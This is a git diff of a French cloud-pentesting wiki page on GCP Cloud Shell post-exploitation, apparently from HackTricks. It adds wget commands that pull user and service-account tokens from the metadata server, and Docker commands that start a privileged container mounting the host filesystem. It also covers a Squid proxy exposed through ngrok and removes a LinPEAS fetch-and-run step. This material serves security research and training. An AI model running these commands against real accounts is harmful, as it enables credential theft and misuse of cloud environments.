diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
index 115a0a2ca..eaca99aab 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
@@ -4,46 +4,46 @@
## Cloud Shell
-Pour plus d'informations sur Cloud Shell, consultez :
+Pour plus d'informations sur Cloud Shell, voir :
{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
-### Container Escape
+### Obtention du token de l'utilisateur depuis le serveur de métadonnées
-Notez que Google Cloud Shell s'exécute dans un container : vous pouvez **easily escape to the host** en faisant :
+En accédant simplement au serveur de métadonnées, vous pouvez obtenir un token pour accéder en tant qu'utilisateur actuellement connecté :
+```bash
+wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
+```
+### Container Escape / Docker use
+
+> [!WARNING]
+> Auparavant, le cloud shell s'exécutait dans un conteneur avec accès au docker socket de l'hôte. Maintenant Google a changé l'architecture et le conteneur cloud shell exécute une configuration "Docker in a container". Ainsi, même s'il est possible d'utiliser docker depuis le cloud shell, vous ne pourrez pas vous échapper vers l'hôte en utilisant le docker socket.
+> Notez qu'auparavant le fichier `docker.sock` était situé dans `/google/host/var/run/docker.sock` mais maintenant il a été déplacé vers `/run/docker.sock`.
-Container escape commands
+Docker use / Old container escape commands
```bash
-sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
-sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
-sudo docker -H unix:///google/host/var/run/docker.sock start escaper
-sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
+sudo docker -H unix:///run/docker.sock pull alpine:latest
+sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
+sudo docker -H unix:///run/docker.sock start escaper
+sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
```
-Ceci n'est pas considéré comme une vulnérabilité par google, mais cela vous donne une vision plus large de ce qui se passe dans cet environnement.
-
-De plus, notez que depuis l'hôte, vous pouvez trouver un service account token :
+De plus, par le passé, il était possible de trouver un token pour un service account utilisé par le cloud shell VM dans le metadata server :
-Récupérer le service account depuis les metadata
+Ancien service account provenant du metadata
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
-
-
-Avec les scopes suivants :
-
-
-
-Obtenir les scopes du compte de service
+Avec les autorisations (scopes) suivantes :
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
```
-Énumérer les métadonnées avec LinPEAS :
-
-
-Énumérer les métadonnées avec LinPEAS
-```bash
-cd /tmp
-wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
-sh linpeas.sh -o cloud
-```
-
-
-Après avoir utilisé [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) avec le token du Service Account **aucune permission n'a été découverte**...
### L'utiliser comme proxy
-Si vous voulez utiliser votre instance google cloud shell comme proxy, vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) :
+Si vous voulez utiliser votre google cloud shell instance comme proxy vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) :
@@ -79,7 +67,7 @@ sudo apt install -y squid
```
-À titre d'information, Squid est un serveur proxy http. Créez un fichier **squid.conf** avec les paramètres suivants :
+Pour information, Squid est un serveur proxy http. Créez un fichier **squid.conf** avec les paramètres suivants :
@@ -92,11 +80,11 @@ http_access allow all
```
-Copiez le fichier **squid.conf** dans **/etc/squid**
+copiez le fichier **squid.conf** dans **/etc/squid**
-Copier la configuration dans /etc/squid
+Copier la configuration dans **/etc/squid**
```bash
sudo cp squid.conf /etc/squid
```
@@ -112,7 +100,7 @@ sudo service squid start
```
-Utilisez ngrok pour rendre le proxy accessible depuis l'extérieur :
+Utilisez ngrok pour rendre le proxy accessible depuis l'extérieur :
@@ -122,9 +110,9 @@ Utilisez ngrok pour rendre le proxy accessible depuis l'extérieur :
```
-Après exécution, copiez l'URL tcp://. Si vous souhaitez lancer le proxy depuis un browser, il est conseillé de retirer la partie tcp:// ainsi que le numéro de port, puis de mettre ce port dans le champ de port des paramètres proxy de votre browser (squid est un http proxy server).
+Après exécution, copiez l'URL tcp://. Si vous souhaitez utiliser le proxy depuis un navigateur, il est conseillé de supprimer la partie tcp:// et le port, puis de mettre le port dans le champ de port des paramètres proxy de votre navigateur (squid is a http proxy server).
-Pour un meilleur fonctionnement au démarrage le fichier .bashrc doit contenir les lignes suivantes :
+Pour une meilleure utilisation au démarrage, le fichier .bashrc devrait contenir les lignes suivantes :
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
```
-Les instructions ont été copiées depuis [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Consultez cette page pour d'autres idées folles pour exécuter n'importe quel type de logiciel (databases et même windows) dans Cloud Shell.
+Les instructions ont été copiées depuis [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key]. Consultez cette page pour d'autres idées folles permettant d'exécuter n'importe quel type de logiciel (bases de données et même Windows) dans Cloud Shell.
{{#include ../../../banners/hacktricks-training.md}}